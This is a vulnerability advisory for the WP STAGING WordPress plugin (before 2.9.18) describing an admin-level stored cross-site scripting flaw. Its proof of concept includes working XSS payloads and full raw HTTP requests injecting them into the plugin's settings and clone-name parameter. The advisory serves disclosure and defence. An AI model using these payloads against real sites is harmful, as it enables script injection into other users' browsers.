WordPress Plugin Vulnerabilities
WP STAGING < 2.9.18 - Admin+ Stored Cross-Site Scripting
Description
The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)
Proof of Concept
With the web browser inspector, change the input field type of settings such as "Maximum File Size (MB)" from number to text, then put the following payload in it and save: ' style=animation-name:rotation onanimationstart=alert(/XSS/)// POST /wp-admin/options.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 401 Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 option_page=wpstg_settings&action=update&_wpnonce=174962afdc&wpstg_settings%5BqueryLimit%5D=10000&wpstg_settings%5BquerySRLimit%5D=20000&wpstg_settings%5BfileLimit%5D=50&wpstg_settings%5BmaxFileSize%5D=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29%2F%2F&wpstg_settings%5BbatchSize%5D=2&wpstg_settings%5BcpuLoad%5D=low&wpstg_settings%5Boptimizer%5D=1&submit=Save+Changes The XSS will be triggered when accessing the settings again The cloneName parameter is also affected when sent directly: POST /wp-admin/admin-ajax.php?action=wpstg_processing&_=1660050565.855 HTTP/1.1 Accept: text/html, */*; q=0.01 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 167 Connection: close Cookie: [admin+] action=wpstg_cloning&accessToken=YgABqYyPC6Mru2kCQY4qI0mVfMxGxTopA6aR8GJJcsGvUCibhaqJWl5TDjIZfjVc&nonce=eb3be2f317&cloneID=ID&cloneName="><script>alert(/XSS/)</script> The XSS will be triggered when viewing the Staging Site dashboard (and there is also a lack of escaping when updating the related Staging site)
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Raad Haddad of Cloudyrion GmbH
Submitter
Raad Haddad of Cloudyrion GmbH
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-08-17 (about 1 years ago)
Added
2022-08-17 (about 1 years ago)
Last Updated
2023-05-10 (about 6 months ago)